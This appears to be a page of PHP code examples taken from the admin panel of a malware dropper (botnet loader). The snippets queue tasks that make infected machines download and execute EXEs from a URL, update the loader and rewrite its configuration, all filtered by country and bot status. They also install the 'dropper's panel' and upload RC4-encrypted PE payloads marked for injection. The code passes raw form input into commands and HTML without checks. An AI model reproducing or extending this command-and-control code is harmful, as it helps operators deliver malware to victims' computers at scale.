Пример #1
0
                $command = "main.DownloadRunExeUrl(%d,\"{$_POST['tTaskLink']}\")\r\n";
                $viewcommand = "Download and execute EXE <span style='color:green'>{$_POST['tTaskLink']}</span>";
                break;
            case "DownloadRunExeId":
                $command = "main.DownloadRunExeId(%d,{$_POST['tCmdFile']})\r\n";
                $viewcommand = "Download from server and execute EXE (num,ver,name)\r\n                <span style='color:green'>{$_POST['tCmdFile']}," . GetFiledByFileId('fVer', $_POST['tCmdFile']) . "," . GetFiledByFileId('fName', $_POST['tCmdFile']) . "</span>";
                break;
            case "DownloadUpdateMain":
                $command = "main.DownloadUpdateMain(%d,{$_POST['tCmdFile']}," . GetFiledByFileId('fVer', $_POST['tCmdFile']) . ")\r\n";
                $viewcommand = "Download and update loader EXE (num,ver,name)\r\n                <span style='color:green'>{$_POST['tCmdFile']}," . GetFiledByFileId('fVer', $_POST['tCmdFile']) . "," . GetFiledByFileId('fName', $_POST['tCmdFile']) . "</span>";
                break;
            case "WriteConfigString":
                $command = "main.WriteConfigString(%d,\"{$_POST['tSec']}\",\"{$_POST['tName']}\",\"{$_POST['tVal']}\")\r\n";
                $viewcommand = "Write to the config (section,variable,value)<span style='color:green'>{$_POST['tSec']},{$_POST['tName']},{$_POST['tVal']}</span>";
                break;
        }
        $Countries = countryListFromDB($db);
        foreach ($Countries as $k => $v) {
            if (isset($_POST['taskCountries'][$k])) {
                $TaskCountries[$k] = 1;
            }
        }
        foreach ($_POST['tBuild'] as $b => $c) {
            $builds[] = $b;
        }
        $task = array('tName' => $_POST['tName'], 'tPriority' => 0, 'tBuild' => implode(', ', $builds), 'tConfirm' => $_POST['tConfirm'] ? 'yes' : 'no', 'tOnlyForClean' => $_POST['tOnlyForClean'] ? 'yes' : 'no', 'tMarkAsDirty' => $_POST['tMarkAsDirty'] ? 'yes' : 'no', 'tCount' => $_POST['tCount'], 'tState' => $_POST['tState'], 'tCommand' => $command, 'tViewCommand' => $viewcommand, 'tCountry1' => countryArrayToDB($TaskCountries), 'tCountry2' => countryArrayToDB($TaskCountries), 'tCountry3' => countryArrayToDB($TaskCountries), 'tCountry4' => countryArrayToDB($TaskCountries), 'tStartedCount' => 0, 'tFinishedCount' => 0, 'tFailedCount' => 0, 'tCreateTime' => date('Y-m-d H:i:s', strtotime('now')));
        if ($db->insert('tasks', $task)) {
            metaRefresh('?act=tasks');
        }
    }
}
Пример #2
0
    
    </div>
    
	
	
	<!-- formee-->
	<form class="formee" action="#" method='POST'>
	<?php 
if (isset($_POST['install'])) {
    echo '
	<fieldset>
    	<legend>Result</legend>
        ';
    if ($success) {
        echo '<div class="formee-msg-success"><h3>Installation successfuly finished.</h3></div>';
        metaRefresh("index.php");
    } else {
        echo '<div class="formee-msg-error"><h3>Please check installation data (login, pass, host) and make sure you can connect to your db.</h3></div>';
    }
    echo '</fieldset>';
} else {
    echo '
    <fieldset>
        <legend>Installation of dropper\'s panel</legend>
        <div class="grid-12-12">
                <label>DB Host <em class="formee-req">*</em></label>
               <input name="host" type="text" value="localhost" />
        </div>
		<div class="grid-12-12">
                <label>DB User <em class="formee-req">*</em></label>
               <input name="user" type="text" value="root" />
Пример #3
0
        $ctx = file_get_contents($_FILES['fFile']['tmp_name']);
        $arr = unpack('v1doshdr/@60/Llfa_new/C*bytes', $ctx);
        if ($arr['doshdr'] == 23117) {
            $fileheader[0] = $arr['bytes' . ($arr['lfa_new'] - 59)];
            $fileheader[1] = $arr['bytes' . ($arr['lfa_new'] - 58)];
            if ($fileheader[0] == 76 && $fileheader[1] == 1) {
                $PEarch = "X86";
            } else {
                if ($fileheader[0] == 100 && $fileheader[1] == 134) {
                    $PEarch = "X64";
                }
            }
            if (!empty($PEarch) && ($fh = fopen($newname, "w+"))) {
                if (fwrite($fh, RC4($ctx, explode('/', $newname)[2]))) {
                    $file = array('fArch' => $PEarch, 'fName' => $_POST['fName'], 'fVer' => $_POST['fVer'], 'fInject' => $_POST['fInject'], 'fFilePath' => $newname, 'fDate' => date('Y-m-d H:i:s', strtotime('now')), 'fConnectedWith' => $_POST['tConnectedWith'], 'fArgs' => $_POST['fArgs']);
                    if ($db->insert('files', $file)) {
                        metaRefresh('?act=files');
                    }
                } else {
                    echo "Error while write file";
                }
                fclose($fh);
            } else {
                echo "Error while open file or file is not valid PE image.";
            }
            unset($arr);
        } else {
            echo "Not a PE file.";
        }
    }
}